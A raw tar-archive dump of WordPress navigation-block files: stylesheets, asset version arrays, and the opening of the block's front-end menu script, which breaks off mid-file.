.wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid rgba(0,0,0,.15)}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:transparent!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:transparent;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}blocks/navigation/editor-rtl.css000064400000031226151202620300012752 0ustar00.editor-styles-wrapper .wp-block-navigation ul{ margin-bottom:0; margin-right:0; margin-top:0; padding-right:0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{ margin:revert; } .wp-block-navigation-item__label{ display:inline; } .wp-block-navigation-item,.wp-block-navigation__container{ background-color:inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{ opacity:0; visibility:hidden; } .has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{ display:flex; opacity:1; visibility:visible; } .is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{ opacity:1; visibility:visible; } .is-editing>.wp-block-navigation__container{ display:flex; flex-direction:column; opacity:1; visibility:visible; } .is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{ opacity:1; visibility:hidden; } .is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{ visibility:visible; } .is-editing>.wp-block-navigation__submenu-container>.block-list-appender{ display:block; position:static; width:100%; } .is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{ background:#1e1e1e; border-radius:2px; color:#fff; margin-left:0; margin-right:auto; padding:0; width:24px; } .wp-block-navigation__submenu-container .block-list-appender{ display:none; } .block-library-colors-selector{ width:auto; } .block-library-colors-selector .block-library-colors-selector__toggle{ display:block; margin:0 auto; padding:3px; width:auto; } .block-library-colors-selector .block-library-colors-selector__icon-container{ align-items:center; border-radius:4px; display:flex; height:30px; margin:0 auto; padding:3px; position:relative; } .block-library-colors-selector .block-library-colors-selector__state-selection{ border-radius:11px; box-shadow:inset 0 0 0 1px rgba(0,0,0,.2); height:22px; line-height:20px; margin-left:auto; margin-right:auto; min-height:22px; min-width:22px; padding:2px; width:22px; } .block-library-colors-selector .block-library-colors-selector__state-selection>svg{ min-width:auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{ color:inherit; } .block-library-colors-selector__popover .color-palette-controller-container{ padding:16px; } .block-library-colors-selector__popover .components-base-control__label{ height:20px; line-height:20px; } .block-library-colors-selector__popover .component-color-indicator{ float:left; margin-top:2px; } .block-library-colors-selector__popover .components-panel__body-title{ display:none; } .wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{ background-color:#1e1e1e; color:#fff; } .wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{ padding:0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{ background-color:transparent; color:#1e1e1e; } @keyframes loadingpulse{ 0%{ opacity:1; } 50%{ opacity:.5; } to{ opacity:1; } } .components-placeholder.wp-block-navigation-placeholder{ background:none; box-shadow:none; color:inherit; min-height:0; outline:none; padding:0; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{ font-size:inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{ margin-bottom:0; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{ color:#1e1e1e; } .wp-block-navigation-placeholder__preview{ align-items:center; background:transparent; color:currentColor; display:flex; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; min-width:96px; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{ display:none; } .wp-block-navigation-placeholder__preview:before{ border:1px dashed; border-radius:2px; border-radius:inherit; bottom:0; content:""; display:block; left:0; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-navigation-placeholder__preview:before:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-navigation-placeholder__preview>svg{ fill:currentColor; } .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{ min-height:90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{ min-height:132px; } .wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{ align-items:flex-start; flex-direction:row; padding:6px 8px; } .wp-block-navigation-placeholder__controls{ background-color:#fff; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; display:none; float:right; position:relative; width:100%; z-index:1; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{ display:flex; } .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{ display:none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{ align-items:flex-start; flex-direction:column; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{ display:none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{ height:36px; margin-left:12px; } .wp-block-navigation-placeholder__actions__indicator{ align-items:center; display:flex; height:36px; justify-content:flex-start; line-height:0; margin-right:4px; padding:0 0 0 6px; } .wp-block-navigation-placeholder__actions__indicator svg{ fill:currentColor; margin-left:4px; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{ flex-direction:row !important; } .wp-block-navigation-placeholder__actions{ align-items:center; display:flex; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; gap:6px; height:100%; } .wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{ margin-left:0; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{ background-color:#1e1e1e; border:0; height:100%; margin:auto 0; max-height:16px; min-height:1px; min-width:1px; } @media (min-width:600px){ .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{ display:none; } } .wp-block-navigation__responsive-container.is-menu-open{ position:fixed; top:155px; } @media (min-width:782px){ .wp-block-navigation__responsive-container.is-menu-open{ right:36px; top:93px; } } @media (min-width:960px){ .wp-block-navigation__responsive-container.is-menu-open{ right:160px; } } @media (min-width:782px){ .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{ top:141px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{ top:141px; } .is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{ left:280px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{ right:0; top:155px; } @media (min-width:782px){ .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{ top:61px; } .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{ top:109px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{ top:109px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{ bottom:0; left:0; right:0; top:0; } .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{ color:inherit; height:auto; padding:0; } .components-heading.wp-block-navigation-off-canvas-editor__title{ margin:0; } .wp-block-navigation-off-canvas-editor__header{ margin-bottom:8px; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{ margin-top:16px; } @keyframes fadein{ 0%{ opacity:0; } to{ opacity:1; } } .wp-block-navigation__loading-indicator-container{ padding:8px 12px; } .wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{ margin-top:0; } @keyframes fadeouthalf{ 0%{ opacity:1; } to{ opacity:.5; } } .wp-block-navigation-delete-menu-button{ justify-content:center; margin-bottom:16px; width:100%; } .components-button.is-link.wp-block-navigation-manage-menus-button{ margin-bottom:16px; } .wp-block-navigation__overlay-menu-preview{ align-items:center; background-color:#f0f0f0; display:flex; height:64px; justify-content:space-between; margin-bottom:12px; padding:0 24px; width:100%; } .wp-block-navigation__overlay-menu-preview.open{ background-color:#fff; box-shadow:inset 0 0 0 1px #e0e0e0; outline:1px solid transparent; } .wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{ display:none; } .wp-block-navigation__navigation-selector{ margin-bottom:16px; width:100%; } .wp-block-navigation__navigation-selector-button{ border:1px solid; justify-content:space-between; width:100%; } .wp-block-navigation__navigation-selector-button__icon{ flex:0 0 auto; } .wp-block-navigation__navigation-selector-button__label{ flex:0 1 auto; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .wp-block-navigation__navigation-selector-button--createnew{ border:1px solid; margin-bottom:16px; width:100%; } .wp-block-navigation__responsive-container-open.components-button{ opacity:1; } .wp-block-navigation__menu-inspector-controls{ overflow-x:auto; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-width:thin; will-change:transform; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{ height:12px; width:12px; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{ background-color:transparent; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{ background-color:#949494; } .wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{ scrollbar-color:#949494 transparent; } @media (hover:none){ .wp-block-navigation__menu-inspector-controls{ scrollbar-color:#949494 transparent; } } .wp-block-navigation__menu-inspector-controls__empty-message{ margin-right:24px; }blocks/navigation/view.asset.php000064400000000124151202620300012745 0ustar00 array(), 'version' => 'b3eba25769c9fe5ec0fa'); blocks/navigation/view-modal.asset.php000064400000000124151202620300014037 0ustar00 array(), 'version' => 'a145d0113e969f692877'); blocks/navigation/editor-rtl.min.css000064400000027075151202620300013543 0ustar00.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:0;margin-right:auto;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:transparent;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:transparent;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:right;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-left:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-right:4px;padding:0 0 0 6px}.wp-block-navigation-placeholder__actions__indicator svg{fill:currentColor;margin-left:4px}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{right:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{left:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid transparent}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:transparent}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 transparent}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 transparent}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-right:24px}blocks/navigation/view.min.js000064400000007002151202620300012240 0ustar00"use strict";(self.__WordPressPrivateInteractivityAPI__=self.__WordPressPrivateInteractivityAPI__||[]).push([[3],{932:function(e,n,o){var t=o(754);const a=["a[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","[contenteditable]",'[tabindex]:not([tabindex^="-"])'];document.addEventListener("click",(()=>{}));const i=(e,n)=>{const{context:o,selectors:t}=e;t.core.navigation.menuOpenedBy(e)[n]=!0,"overlay"===o.core.navigation.type&&document.documentElement.classList.add("has-modal-open")},c=(e,n)=>{const{context:o,selectors:t}=e;t.core.navigation.menuOpenedBy(e)[n]=!1,t.core.navigation.isMenuOpen(e)||(o.core.navigation.modal?.contains(window.document.activeElement)&&o.core.navigation.previousFocus?.focus(),o.core.navigation.modal=null,o.core.navigation.previousFocus=null,"overlay"===o.core.navigation.type&&document.documentElement.classList.remove("has-modal-open"))};(0,t.h)({effects:{core:{navigation:{initMenu:e=>{const{context:n,selectors:o,ref:t}=e;if(o.core.navigation.isMenuOpen(e)){const e=t.querySelectorAll(a);n.core.navigation.modal=t,n.core.navigation.firstFocusableElement=e[0],n.core.navigation.lastFocusableElement=e[e.length-1]}},focusFirstElement:e=>{const{selectors:n,ref:o}=e;n.core.navigation.isMenuOpen(e)&&o.querySelector(".wp-block-navigation-item > 